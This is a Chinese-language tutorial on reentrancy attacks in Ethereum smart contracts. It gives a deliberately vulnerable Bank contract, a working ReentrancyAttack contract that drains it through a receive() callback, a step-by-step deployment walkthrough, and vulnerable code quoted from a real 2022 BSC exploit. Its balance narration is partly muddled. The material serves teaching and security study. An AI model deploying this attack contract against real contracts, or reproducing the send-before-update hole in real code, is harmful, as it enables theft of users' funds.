合约重入攻击概念 在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,所以这些合约外部的调用就可以被攻击者利用造成攻击劫持,使得被攻击合约在任意位置重新执行,绕过原代码中的限制条件,从而发生重入攻击。重入攻击本质上与编程里的递归调用类似,所以当合约将以太币发送到未知地址时就可能会发生。
漏洞原理概述 合约重入攻击是代码中对用户(attacker)的合约请求进行调用,没有进行二次验证,然后可以使attacker修改合约状态,改变账本.从而实现多重提币操作。
简例代码 对于A,B账户
1 2 3 4 5 withdraw(){ check balance >0 send Ether balance=0 }
1 2 3 4 5 6 fallback(){ A.withdrwa() } attack(){ A.withdraw() }
attack()调用A中withdraw() 进行检查 发送
A合约向B合约发送ETH时,出发B合约fallback()函数,那么重新调用取款方法。
因为A合约中balance()函数并没有被执行,所以check balance依然成立,那么会继续send ETH。导致池子被攻击。
示例代码部署以及分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 pragma solidity ^0.8.12; interface IBank { function deposit() external payable; function withdraw() external; } contract Bank { mapping(address => uint256) public balance; uint256 public totalDeposit; function ethBalance() external view returns (uint256) { return address(this).balance; } function deposit() external payable { balance[msg.sender] += msg.value; totalDeposit += msg.value; } function withdraw() external { require(balance[msg.sender] > 0, "Bank: no balance"); msg.sender.call{value: balance[msg.sender]}(""); totalDeposit -= balance[msg.sender]; balance[msg.sender] = 0; } } contract ReentrancyAttack { IBank bank; constructor(address _bank) { bank = IBank(_bank); } function doDeposit() external payable { bank.deposit{value: msg.value}(); } function doWithdraw() external { bank.withdraw(); payable(msg.sender).transfer(address(this).balance); } receive() external payable { bank.withdraw(); } }
部署: 首先部署一个Bank合约
然后部署ReentrancyAttack合约,ReentrancyAttack合约地址需要填写Bank合约地址.因为Bank于ReentrancyAttack做交互
流程 用默认账户在Bank中存入11个ETH
根据代码中Bank方法,我们可以使用ethBalance和totalDeposit查看流程中的ETH数量,可以看到两个的值都为:0:uint256: 11000000000000000000
默认账户的balance的ETH的数量也为11
然后在ReentrancyAttack合约中doDeposit 1个ETH.会发现ethBalance和totalDeposit中账户ETH数量变为了12
这样对A(Bank)B(ReentrancyAttack)账户就完成了,符合代码条件.
接下来就可以进行重入攻击:
根据代码:
1 2 3 4 function doWithdraw() external { bank.withdraw(); payable(msg.sender).transfer(address(this).balance); }
可以调用Bank的withdraw函数,进行攻击,会发现Bank的账户变为10ETH,但是ethBalance的值已经变为0了
去查看B(ReentrancyAttack)账户的ETH也为0
但是此时默认账户的balance确还是11
这样就可以发现ReentrancyAttack合约对Bank进行攻击提走了所有ETH
简例代码原理 对Bank代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract Bank { mapping(address => uint256) public balance; //记录账户余额 uint256 public totalDeposit; //记录所有用户在Bank合约存入余额 function ethBalance() external view returns (uint256) { return address(this).balance; //返回Bank合约真实余额 } function deposit() external payable { balance[msg.sender] += msg.value; //用来让用户存入ETH totalDeposit += msg.value; } function withdraw() external { //让用户来提现余额 require(balance[msg.sender] > 0, "Bank: no balance"); msg.sender.call{value: balance[msg.sender]}(""); totalDeposit -= balance[msg.sender]; balance[msg.sender] = 0; } }
对于ReentrancyAttack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract ReentrancyAttack { IBank bank; //记录地址 constructor(address _bank) { bank = IBank(_bank); //为Bank赋值 } function doDeposit() external payable { bank.deposit{value: msg.value}(); //向Bank存入ETH } function doWithdraw() external { //从Bank中提现ETH bank.withdraw(); payable(msg.sender).transfer(address(this).balance); } receive() external payable { bank.withdraw(); } }
B主要攻击A代码为
1 2 3 4 function doWithdraw() external { //从Bank中提现ETH bank.withdraw(); payable(msg.sender).transfer(address(this).balance); }
从Bank向ReentrancyAttack转账时触发withdraw()再次提现实现
payable(msg.sender).transfer(address(this).balance);
从而继续: msg.sender.call{value: balance[msg.sender]}("");
而A中withdraw()
1 require(balance[msg.sender] > 0, "Bank: no balance");
会触发B中receive(),再次调用Bank合约中withddraw()方法
balance()方法查看 ReentrancyAttack合约地址创建者,发现合约创建者balance为1ETH,但是合约里已经没有 Ether 可以提供兑付.
由此因为并没有改变A中balance的状态,从而会继续由A向B执行转账ETH交易,然后会再次触发ReentrancyAttack中receive()继续执行循环,直到账户中ETH数量为0.
从而上述流程实现了重入攻击。
历史漏洞攻击实例 2022年10月1号,在ERC721发送重入攻击
问题在 claimReward(). 攻击者可透过重入漏洞来把合约上的资产取走.
发生漏洞的程式片段:
THB_Roulette | Address 0x72e901f1bb2bfa2339326dfb90c5cec911e2ba3c | BscScan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function claimReward( uint256 _ID, address payable _player, uint256 _amount, bool _rewardStatus, uint256 _x, string memory name, address _add ) external { require(gameMode); bool checkValidity = guess(_x, name, _add); if (checkValidity == true) { if (winners[_ID][_player] == _amount) { _player.transfer(_amount * 2); if (_rewardStatus == true) { sendReward(); } delete winners[_ID][_player]; } else { if (_rewardStatus == true) { sendRewardDys(); } } rewardStatus = false; } }
House_Wallet | Address 0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53 | BscScan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function reward(address to,uint256 _mintAmount) external { uint256 supply = totalSupply(); uint256 rewardSupply = rewardTotal; require(rewardSupply <= rewardSize,""); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(to, supply + i); rewardTotal++; } } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), **//callback** "ERC721: transfer to non ERC721Receiver implementer" ); }
参考
Re-Entrancy | Solidity by Example | 0.8.10 (web3dao-cn.github.io)
DeFi Hacks Analysis - 漏洞根本原因分析 (notion.site)